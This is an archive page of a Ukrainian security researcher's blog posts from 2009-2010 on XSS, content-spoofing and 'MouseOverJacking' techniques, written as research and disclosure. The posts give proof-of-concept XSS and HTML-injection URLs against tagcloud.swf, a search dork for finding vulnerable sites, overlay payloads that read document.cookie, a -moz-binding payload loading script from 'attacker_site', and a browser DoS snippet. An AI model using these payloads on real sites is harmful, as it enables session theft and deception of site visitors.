Архів для категорії 'Статті'

Content Spoofing атаки: Link Injection та Text Injection

22:41 26.01.2010

У випадку Content Spoofing уразливостей можливі як HTML включення, так й інші варіанти атак. Зокрема коли можливе обмежене включення контенту для проведення Content Spoofing атаки. До таких атак відносяться Link Injection та Text Injection.

Хорошим прикладом HTML Injection є уразливість в WP-Cumulus для WordPress. При наявності HTML включення, можна проводити Link Injection та Text Injection атаки (які є його підвидом), але коли повноцінне HTML включенне неможливе (наприклад при фільтрації на сервері чи WAF), то тоді дані атаки можуть стати у нагоді. Зазначу, що дані атаки можливі як при включенні до html сторінок, так і до флеш файлів і капч.

Link Injection.

Хорошим прикладом Link Injection є уразливість на www.ibm.com. Подібні уразливості можуть використовуватися для проведення атак редирекції.

Можливі два варіанта атаки:

1. Коли можна лише вказати лінку на зовнішній сайт:

http://site/page?url=http://badsite

2. Коли можна вказати лінку на зовнішній сайт та її текст:

http://site/page?text=Click%20here!&url=http://badsite

У випадку Link Injection, іноді можливе не тільки включення лінки, а й коду скриптів (JS чи VBS) для проведення Strictly social XSS атак. Як у випадку forum.banner.kiev.ua та WP-Cumulus.

HTML Injection уразливість в WP-Cumulus може зокрема використовуватися для Link Injection атаки, причому можна задавати довільну кількість лінок.

http://site/wp-content/plugins/wp-cumulus/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='http://badsite'+style='font-size:40pt'%3EHacked%3C/a%3E%3C/tags%3E

Text Injection.

Хорошим прикладом Text Injection є уразливість на seal.godaddy.com - в логотипі Secure web site від GoDaddy.

HTML Injection (Text Injection):

Про подібну уразливість я вже писав раніше на allmebel.com.ua та forum.banner.kiev.ua.

Можлива наступна атака (з вказанням довільного тексту):

http://site/page?text=Hacked

З однієї сторони дану уразливість можна використати для розміщення довільного тексту, для введеня в оману відвідувачів сайта. А з іншої сторони при атаці через флеш чи капчу, при наявності відповідних Buffer overflow уразливостей, можна провести атаку на браузер користувача (з flash плагіном) чи веб сервер (де розміщена captcha).

Подібні атаки відбуваються через html-сторінку (як на www.ibm.com), флешку (як на WP-Cumulus, seal.godaddy.com і forum.banner.kiev.ua) або капчу (як на allmebel.com.ua).

Сучасні методи атак в Інтернеті для заробітку

22:49 23.01.2010

В своїй презентації Get Rich or Die Trying, що Jeremiah Grossman представив на конференції Black Hat в 2008 році, він розповів про сучасні методи атак в Інтернеті. Які можуть використовуватися для заробітку коштів.

The future of XSS attacks

21:05 21.01.2010

This is English version of my The future of XSS attacks article.

In case if for Cross-Site Scripting attack it’s not possible to use any tags and angle brackets at the site, it’s possible to conduct XSS attack with using of tags’ properties. It can be style property, or different even handlers (or sometimes it’s possible to conduct attack via src property). For the attack it’s needed to use quotes (single or double ones, or sometimes even quotes isn’t required), to add new property to the tag, in which we managed to include the code.

At attack via style property the next methods are used (in which the code executes automatically at page opening):

1. Via expression(), which works only in browsers IE (before IE8).
2. Via background:url() or background-image:url(), which works only in browsers IE.
3. Via -moz-binding:url(), which works only in Mozilla Firefox and other browsers on Gecko engine (before Firefox 3).

Examples of attacks with expression() and -moz-binding you can see in case of vulnerabilities at www.ibm.com.

At attack via event handlers the next methods are used:

1. Via onMouseOver, onfocus, onblur, onselect, onchange, onclick and other events (in which the code executes at appropriate event).
2. Via onerror, onload, onunload (in which the code executes automatically at page opening, or its closing in case of onunload event).

A possibility of using of onerror, onload and onunload happens not very often, and other handlers trigger not automatically, so they are less popular at conducting of XSS attacks. The most often the attacks via style property are used.

But already in 2008 in Firefox 3 possibility of attack via -moz-binding was removed (it was partly removed - it’s possible to attack only with using of xml-files at the same site). Which I wrote about in article XSS attacks in Mozilla Firefox via styles. And in Internet Explorer 8, which released at beginning of 2009, support of expression() was removed. Support of javascript and vbscript URI in background-image and background-image also can be removed with time.

So in light of these events it became harder to conduct automated XSS attacks in new browsers in such conditions (when it’s not possible to use any tags and angle brackets). And as more widespread these versions of browsers become, the harder it’ll be to conduct XSS attacks in such conditions (so that they will be automated, without need for user to do some actions). From other side, such browsers as Opera, Chrome and other browsers completely resist to attacks via style property.

For solving of this task the technique MouseOverJacking can be used, which I already wrote about. This technique allows to conduct automated XSS attack. At that it’s cross-browser solution, which works in all browsers. Including in IE8 - at using of CSS (as in my PoCs) it allows to bypass IE8’s built-in protection against Clickjacking.

I.e. MouseOverJacking can be used not only for specific attacks, which were about in the article about this technique, but for wide variety of XSS attacks (instead of expression() and -moz-binding). At that the attack is fully automated, so the effectiveness of the attack is the same as in expression() and -moz-binding (and due to cross-browser it’s possible to attack even more users).

It’s possible to conduct such attacks as via MouseOverJacking, as via Clickjacking. But MouseOverJacking has higher effectiveness, because at Clickjacking attack the victim must to do a click (which can not always happen), but at MouseOverJacking it’s not needed to do any actions, only one move of the mouse (which will always happen).

Examples of PoC for Cross-Site Scripting vulnerabilities.

For reflected XSS:

http://site/script?param=%22%20style=%22width:100%;height:100%;display:block;position:absolute;top:0px;left:0px%22%20onMouseOver=%22alert(document.cookie)%22

For persistent XSS:

<a href="#" style="width:100%;height:100%;display:block;position:absolute;top:0px;left:0px" onMouseOver="alert(document.cookie)">&nbsp;</a>

So I propose to use MouseOverJacking technique for wide variety of XSS attacks (in case of impossibility of using of the tags and angle brackets). And security professionals and attackers can use this technique for creating of PoC for XSS vulnerabilities or for conducting of XSS attacks.

Майбутнє XSS атак

22:46 15.01.2010

У випадку коли для Cross-Site Scripting атаки на сайті не можна використати жодні теги і кутові дужки, можна провести XSS атаку з використанням властивостей тегів. Це може бути властивість style, або різні обробники подій (або іноді можна провести атаку через властивість src). Для атаки потрібно використати лапки (одинарні чи подвійні, або іноді навіть лапки не потрібні), щоб додати нову властивість тегу, в який вдалося включити код.

При атаці через властивість style використуються наступні методи (при яких код виконується автоматично при завантаженні сторінки):

1. Через expression(), що працює лише в браузерах IE (до IE8).
2. Через background:url() чи background-image:url(), що працює лише в браузерах IE.
3. Через -moz-binding:url(), що працює лише в Mozilla Firefox та інших браузерах на движку Gecko (до Firefox 3).

Приклади атак з expression() і -moz-binding ви можете побачити у випадку уразливостей на www.ibm.com.

При атаці через обробники подій використуються наступні методи:

1. Через onMouseOver, onfocus, onblur, onselect, onchange, onclick та інші події (при яких код виконується при відповідній події).
2. Через onerror, onload, onunload (при яких код виконується автоматично при відкритті сторінки, або її закритті у випадку події onunload).

Можливість використовувати onerror, onload і onunload трапляється не дуже часто, а інші обробники спрацьовують не автоматично, тому менш популярні при проведенні XSS атак. Найбільш часто використовуються саме атаки через властивість style.

Але ще в 2008 році в Firefox 3 була прибрана можливість атаки через -moz-binding (прибрана частково - можна атакувати лише з використанням xml-файлів на тому ж сайті). Про що я писав в статті XSS атаки в Mozilla Firefox через стилі. А в Internet Explorer 8, що вийшов на початку 2009, прибрана підтримка expression(). Підтримка javascript та vbscript URI в background та background-image також може бути з часом прибрана.

Тому в світлі даних подій в нових браузерах стало важче проводити автоматизовані XSS атаки у таких випадках (коли не можна використати жодні теги і кутові дужки). І чим більш поширеними стануть дані версії браузерів, тим важче буде проводити XSS атаки в даних умовах (щоб вини були автоматизовані, без необхідності користувачу виконувати деякі дії). З іншої сторони, такі браузери як Opera, Chrome та інші браузери зовсім не піддаються атакам через властивість style.

Для вирішення цієї задачі може використовуватися техніка MouseOverJacking, про яку я вже писав. Дана техніка дозволяє провести автоматизовану XSS атаку. Причому це кросбраузерне рішення, що працює в усіх браузерах. В тому числі в IE8 - при використанні CSS (як у моїх PoC) вона дозволяє обійти вбудований захист IE8 від Clickjacking.

Тобто MouseOverJacking може використовуватися не тільки для специфічних атак, про які йшлося в статті про дану техніку, а для широкого кола XSS атак (замість expression() і -moz-binding). Причому атака повністю автоматизована, тобто ефективність атаки така сама як і у expression() і -moz-binding (а за рахунок кросбраузерності можна атакувати навіть більше користувачів).

Подібні атаки можна проводити як через MouseOverJacking, так і через Clickjacking. Але у MouseOverJacking вища ефективність, тому що при Clickjacking атаці жертва повинна зробити клік (що може відбуватися не завжди), а при MouseOverJacking не потрібно робити жодних дій, лише один рух мишкою (що відбудеться завжди).

Приклади PoC для Cross-Site Scripting уразливостей.

Для reflected XSS:

http://site/script?param=%22%20style=%22width:100%;height:100%;display:block;position:absolute;top:0px;left:0px%22%20onMouseOver=%22alert(document.cookie)%22

Для persistent XSS:

<a href="#" style="width:100%;height:100%;display:block;position:absolute;top:0px;left:0px" onMouseOver="alert(document.cookie)">&nbsp;</a>

Так що я пропоную використовувати техніку MouseOverJacking для широкого кола XSS атак (у випадку неможливості використання тегів і кутових дужок). І секюріті професіонали і нападники можуть використовувати дану техніку для створення PoC для XSS уразливостей чи для проведення XSS атак.

Атака на акаунт Yahoo!

20:04 13.01.2010

Продовжуючи розпочату традицію, після попереднього відео про створення ActiveX експоіта в Metasploit, пропоную новий відео секюріті мануал. Цього разу відео про атаку на акаунт Yahoo!. Рекомендую подивитися всім хто цікавиться цією темою.

A Post-mortem of Yahoo! Account Security

В даному відео ролику демонструється використання уразливості в створенні кукісів в акаунті Yahoo. За допомогою спеціальної програми генеруються кукіси для необхідного логіна, після чого можна отримати Yahoo ID даного користувача (без знання паролю) і відповідно доступ до усіх сервісів Yahoo! (під даним логіном), включаючи веб версію Yahoo! IM та Yahoo! Mail. Рекомендую подивитися дане відео для розуміння подібних атак.

XSS уразливості в 34 мільйонах флеш файлах

22:44 09.01.2010

В грудні в своїй статті XSS уразливості в 8 мільйонах флеш файлах я писав, що в Інтернеті є до 34000000 флешек tagcloud.swf потенційно вразливих до XSS атак. Враховучи, що мало хто звернув увагу в попередній статті на мою згадку про ще 34 мільйони вразливих флешек, то я вирішив написати про це окрему статтю.

Файл tagcloud.swf розроблений автором плагіна WP-Cumulus для WordPress і постачається з даним плагіном для WordPress, а також з іншими плагінами, зокрема Joomulus і JVClouds3D для Joomla та Blogumus для Blogger. Враховуючи поширеність даного флеш файла, зазначу, що це найбільш поширена флешка в Інтернеті з XSS уразливістю.

Поширенність проблеми.

Взразливих файлів tagcloud.swf в Інтернеті дуже багато (за даними Google):

filetype:swf inurl:tagcloud.swf

Якщо 18.12.2009 результатів було приблизно 34000000, то зараз результатів приблизно 32500000. І це лише флеш файли проіндексовані Гуглом, а реально їх може бути набагато більше.

Тобто є приблизно 32,5 мільйони сайтів з файлом tagcloud.swf вразливих до XSS та HTML Injection атак.

З них приблизно 273000 gov-сайтів вразливих до XSS та HTML Injection атак.

Уразливості в swf-файлі.

Файл tagcloud.swf вразливий до XSS та HTML Injection атак через параметр tagcloud.

XSS:

http://site/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E

Код виконається при кліку. Це Strictly social XSS.

HTML Injection:

http://site/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='http://websecurity.com.ua'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E

HTML Injection атаку можна провести зокрема на ті флешки, де заборонені (у флешках чи через WAF) javascript та vbscript URI в параметрі tagcloud.

Приклади уразливих сайтів.

Приклади уразливих сайтів з даним swf-файлом я наводив в записі XSS уразливості в tagcloud.swf на gov та gov.ua.

Так що флеш девелоперам варто слідкувати за безпекою своїх флешек. А власникам сайтів з уразливими флешками (зокрема tagcloud.swf) потрібно або самим їх виправити, або звернутися за цим до їх розробників.

XSS атаки в Mozilla Firefox через стилі

21:34 07.01.2010

При наявності XSS уразливості на сайті, у випадку коли немає можливості використовувати кутові дужки (або при забороні необхідних html-тегів), можна провести атаку через стилі - через властивість style в html-об’єтах. ЇЇ можна використати в різних html-тегах: <a>, <p> та інших.

Дані атаки можуть проводитися як через reflected XSS, так і через persistent XSS уразливості. Зокрема в браузерах Mozilla і Firefox (та інших браузерах на движку Gecko), XSS атаки через стилі можуть проводитися за допомогою властивості -moz-binding.

Для XSS атаки на сайті http://site потрібно вказати в -moz-binding лінку на xml-файл з JS-кодом, який може знаходитися на будь-якому сайті (наприклад, http://attacker_site).

<p style="-moz-binding:url('http://attacker_site/xss.xml#xss')">XSS</p>

Приклад xml-файла для демонстрації XSS атаки:

<?xml version="1.0"?>
<bindings xmlns="http://www.mozilla.org/xbl"
xmlns:html="http://www.w3.org/1999/xhtml">
<binding id="xss">
<implementation>
<constructor>
alert(document.cookie);
</constructor>
</implementation>
</binding>
</bindings>

Приклад подібної атаки з використанням -moz-binding я наводив на fileshare.in.ua.

Дані атаки працювали в браузерах Mozilla та Firefox до Firefox 3. Післі виходу 17.06.2008 Firefox 3 дані атаки перестали в ньому працювати, бо в Firefox 3 даний вектор XSS атаки був виправлений. Але виправлений лише частково і дане виправлення можна обійти і провести XSS атаку.

Для XSS атаки в Firefox 3 на сайті http://site потрібно розмістити xml-файл на даному сайті і вказати в -moz-binding лінку на xml-файл з JS-кодом. Шлях до xml-файла може бути абсолютним, або відносним.

<p style="-moz-binding:url('http://site/xss.xml#xss')">XSS</p>

Так що в версіях Firefox 3 і вище даний вектор XSS атаки все ще працює (при використанні xml-файла на тому самому сайті, де і XSS уразливість). І при наявності на сайті аплоадера для завантаження xml-файла, дану XSS атаку легко можно провести.

Для тих, кому потрібна автоматизована XSS атака (через inline-стилі), без використання -moz-binding, то для цього можна використати іншу техніку атаки (про яку я вже писав). Що буде працювати як на сайтах з аплоадерами, так і на всіх інших сайтах, як в Firefox 2 і попередніх версіях, так і в Firefox 3 і вище, а також в усіх інших браузерах.

MouseOverJacking attacks

20:06 29.12.2009

This is English version of my MouseOverJacking attacks article.

Last year I made an announcement of MouseOverJacking - at 12.12.2008 in WASC Mailing List, and at 17.12.2008 at my site. But only now I found time to write an article about it.

MouseOverJacking - it’s a new kind of attacks on web browsers, developed by me in September 2008. These attacks can be used for using of different vulnerabilities in browsers or web sites, where pointing of mouse cursor at an object is needed. And so with help of MouseOverJacking technique it’s possible to intercept cursor’s move and to conduct an attack.

In article Clickjacking Details RSnake wrote about this attack vector. But I first gave example of this attack vector a month before (yet before first announcement of Clickjacking). Besides, he described very briefly this attack vector, which required separate article, which I did in my article.

The idea of MouseOverJacking attacks.

Main idea of this attack, on which I accented already in my announcement, that for conducting of this attack it’s needed only single move of mouse cursor. Only moving of cursor at one pixel in any direction (only one small move) - and it’ll trigger an attack.

If in ClickJacking a victim must to do a click, then in MouseOverJacking no click is required, only moving of cursor ;-) . So users of Internet must be careful not just with clicks, but even with moves of cursor.

The difference between common attack with using of onMouseOver event and MouseOverJacking attack in that, that in common attack it’s needed that a victim moves his cursor over required object (at a page), so the attack pass successfully. And in MouseOverJacking attack this process is going automatically, because a victim only needs to make single move at one pixel (which will happened right away at visiting of a page). So MouseOverJacking is designed for automation of attacks with using of onMouseOver event (in IE also onMouseEnter can be used), to increase their effectiveness.

Possibilities of using of MouseOverJacking.

There are possible the next attacks via MouseOverJacking:

1. XSS attacks with using of onMouseOver event.
2. DoS attacks on browsers.
3. Other attacks at pointing of cursor.

For conduction of MouseOverJacking attacks it’s needed to ensnare victim at the page with code of exploit (which can be made with using of CSS or JavaScript).

XSS attacks with using of onMouseOver event.

It’s possible to intercept onMouseOver events in Cross-Site Scripting vulnerabilities, when other vectors of XSS attacks are impossible at the site. For example, in case of filtration at the server or using of WAF.

For this in some cases it’s possible to use CSS. Or for this it’s possible to use invisible iframe, which is placed under user’s cursor (similarly to method of ClickJacking attacks). For this attack it’s needed to use JavaScript.

DoS attacks on browsers.

It’s possible to conduct DoS attacks on browsers, as I showed it on example of DoS vulnerability in Google Chrome in September 2008 during of conducting of Day of bugs in Google Chrome project. I called this attack DoS via MouseOver.

Attack is possible at presence of appropriate DoS vulnerability in browser. For this attack it’s possible to use either JavaScript, or CSS, as in case of my exploit for Chrome.

Other attacks at pointing of cursor.

There are also possible other attacks, where it’s possible to use MouseOverJacking. E.g., CSRF attacks, if some event takes place at pointing of mouse cursor at some object at the site.

Examples of MouseOverJacking attacks.

I already mentioned example of DoS attack via MouseOverJacking (on Chrome) with exploit which uses CSS. Here is main part of a code of exploit:

<a style="width:100%;height:100%;display:block" href="dos:%"></a>

In case of presence of persistent XSS vulnerability or uploader at the site (where other vectors of attack are impossible, except via events of html objects), it’s possible to place the next code:

<a href="#" style="width:100%;height:100%;display:block;position:absolute;top:0px;left:0px" onMouseOver="alert(document.cookie)">&nbsp;</a>

Recently I wrote about XSS vulnerability in Invision Power Board found by Xacker. In his advisory he gave an example of XSS attack with using of onMouseOver for bypassing filters in IPB 3.0.4. In this case it’s just XSS attack via onMouseOver (which I refer to Strictly social XSS), when it’s needed to wait until admin will point cursor at a text, to execute a code. But if to use my MouseOverJacking technique, then effectiveness of the attack will rise, because a code will execute right away when user will visit a page.

Nice example of XSS attacks with using of onMouseOver is Cross-Site Scripting vulnerability in WordPress 2.8.1. The most interesting is that, that onMouseOver event is using for conducting of click (the idea itself is very interesting offered by superfreakaz0rz).

In given exploit for this vulnerability it’s needed to send request at the site and wait until admin will fall into a trap (i.e. it’s common XSS attack via onMouseOver). To speed up this process it’s possible to use MouseOverJacking attack (with invisible iframe or via CSS). And taking into account that after pointing of cursor a click will trigger, then this attack can be refer to kind of joint MouseOverJacking + ClickJacking attacks.

Protection from MouseOverJacking.

If JavaScript is using for MouseOverJacking attack, then for protection against these attacks it’s possible to turn off JavaScript in browser. Either manually in browser, or with help of proper plugins for browser.

If JavaScript isn’t using for MouseOverJacking attack, but CSS is using, then above-mentioned method will not help. But if MouseOverJacking is required for conducting of XSS attacks, then turning off JS will protect against XSS attacks (even if MouseOverJacking is realized via CSS). But it’ll not help against DoS attacks via MouseOverJacking.

In case of DoS attacks or any other attacks via MouseOverJacking with using of CSS, caution of user will help (it’s needed to visit reliable resources) and updating of browser to last version.

Інтерв’ю зі мною на Data Security Podcast

18:14 28.12.2009

Вчора на Data Security Podcast був оприлюднений подкаст, в якому зокрема розміщене ексклюзивне інтерв’ю зі мною. Інтерв’ю було присвячене моєму останньому дослідженню XSS уразливостей в 8 мільйонах флеш файлах.

Так, що всі бажаючі можуть скачати собі та послухати даний подскаст ;-) .

Data Security Podcast Episode 87

В даному подкасті розповідається:

  • Про нову уразливість в веб серверах.
  • Експлюзивне інтерв’ю зі мною на тему уразливостей в мільйонах flash файлах.
  • Останні секюріті новини за минулий тиждень.

MouseOverJacking атаки

22:44 26.12.2009

В минулому році я зробив анонс MouseOverJacking - 12.12.2008 в WASC Mailing List, а 17.12.2008 в себе на сайті. Але тільки зараз знайшов час написати статтю про це.

MouseOverJacking - це новий вид атак на веб браузери, розроблений мною у вересні 2008. Дані атаки можуть застосовуватися для використання різних уразливостей в браузерах чи веб сайтах, там де потрібне наведення курсором миші на об’єкт. І відповідно за допомогою техніки MouseOverJacking можна перехопити рух курсору і провести атаку.

В статті Clickjacking Details RSnake написав про даний вектор атак. Але я вперше навів приклад даного вектора атак на місяць раніше (ще до першого анонса Clickjacking). До того ж, він дуже коротко описав даний вектор атак, який потребує окремої статті, що я і зробив в своїй статті.

Ідея MouseOverJacking атак.

Головна ідея даної атаки, на яку я наголошував ще в своєму анонсі, що для проведення даної атаки потрібен тільки один рух курсором миші. Лише переміщення курсору на один піксел в будь-яку сторону (лише один маленьких рух) - і це запустить атаку.

Якщо в ClickJacking жертва повинна зробити клік, то в MouseOverJacking жоден клік не потрібен, тільки переміщення курсору ;-) . Тобто користувачі Інтернет повинні бути обережними не тільки з кліками, а навіть з рухами курсору.

Різниця між звичайною атакою з використанням події onMouseOver та MouseOverJacking атакою в тому, що в звичайній атаці потрібно щоб жертва провела свій курсор над необхідним об’єктом (на сторінці) для того, щоб атака пройшла успішно. А в MouseOverJacking атаці цей процес відбувається автоматично, бо жертві потрібно лише зробити один рух на один піксел (що відбудеться одразу при заході на сторінку). Тобто MouseOverJacking призначений для автоматизації атак з використанням події onMouseOver (в IE також можна використати onMouseEnter), щоб збільшити їх ефективність.

Можливості використання MouseOverJacking.

Можливі наступні атаки через MouseOverJacking:

1. XSS атаки з використанням події onMouseOver.
2. DoS атаки на браузери.
3. Інші атаки при наведенні курсору.

Для проведення MouseOverJacking атаки потрібно заманити жертву на сторінку з кодом експлоіта (який може бути зроблений з використанням CSS чи JavaScript).

XSS атаки з використанням події onMouseOver.

Можна перехоплювати події onMouseOver в Cross-Site Scripting уразливостях, коли на сайті неможливі інші вектори XSS атак. Наприклад, у випадку фільтрації на сервері чи використанні WAF.

Для цього в деяких випадках можна використати CSS. Або для цього можна використати невидимий iframe, розміщений під курсором користувача (подібно до методики ClickJacking атак). Для даної атаки потрібно використати JavaScript.

DoS атаки на браузери.

Можна проводити DoS атаки на браузери, як я це продемонстрував на прикладі DoS уразливості в Google Chrome у вересні 2008 року під час проведення проекту День багів в Google Chrome. Дану атаку я назвав DoS при MouseOver.

Атака можлива при наявності відповідної DoS уразливості в браузері. Для даної атаки можна використати або JavaScript, або CSS, як у випадку мого експлоіта для Chrome.

Інші атаки при наведенні курсору.

Також можливі й інші атаки, де можна використати MouseOverJacking. Наприклад, CSRF атаки, якщо на сайті якась подія відбувається при наведенні курсору миші на деякий об’єкт.

Приклади MouseOverJacking атак.

Я вже наводив приклад DoS атаки через MouseOverJacking (на Chrome) з експлоітом, що використовує CSS. Ось основна частина коду експлоіта:

<a style="width:100%;height:100%;display:block" href="dos:%"></a>

У випадку наявності на сайті persistent XSS уразливості чи аплоадера (де неможливі інші вектори атак, окрім як через події html об’єктів), можна розмістити наступний код:

<a href="#" style="width:100%;height:100%;display:block;position:absolute;top:0px;left:0px" onMouseOver="alert(document.cookie)">&nbsp;</a>

Нещодавно я писав про XSS уразливість в Invision Power Board знайдену Xacker. В своєму advisory він навів приклад XSS атаки з використанням onMouseOver для обходу фільтрів в IPB 3.0.4. В даному випадку це просто XSS атака через onMouseOver (яку я відношу до Strictly social XSS), коли потрібно дочекатися поки адмін наведе курсор на текст, щоб виконався код. Але якщо використати мою техніку MouseOverJacking, то ефективність атаки зросте, бо код виконається одразу як користувач зайде на сторінку.

Гарним прикладом XSS атак з використанням onMouseOver є Cross-Site Scripting уразливість в WordPress 2.8.1. Найбільш цікаве те, що подія onMouseOver використовується для проведення кліка (сама ідея запропонована superfreakaz0rz дуже цікава).

В наведеному експлоіті для даної уразливості потрібно послати запит на сайт і чекати поки адмін потрапить у пастку (тобто це проста XSS атака через onMouseOver). Щоб пришвидшити цей процес можна використати MouseOverJacking атаку (з невидимим iframe чи через CSS). І враховуючи те, що після наведення курсору спрацьовує клік, то дану атаку можна віднести до типу комбінованих MouseOverJacking + ClickJacking атак.

Захист від MouseOverJacking.

Якщо для MouseOverJacking атаки використовується JavaScript, то для захисту від даних атак можна відключити JavaScript в браузері. Або вручну в браузері, або за допомогою відповідних плагінів до браузера.

Якщо ж для MouseOverJacking атаки не використовується JavaScript, а використовується CSS, то вищенаведений метод не допоможе. Але якщо MouseOverJacking потрібен для проведення XSS атаки, то відключення JS захистить від XSS атаки (навіть якщо MouseOverJacking реалізований через CSS). Але це не допоможе проти DoS атак через MouseOverJacking.

У випадку DoS атак та будь-яких інших атак через MouseOverJacking, при використанні CSS, допоможе обачність користувача (потрібно відвідувати надійні ресурси) та оновлення браузера до останньої версії.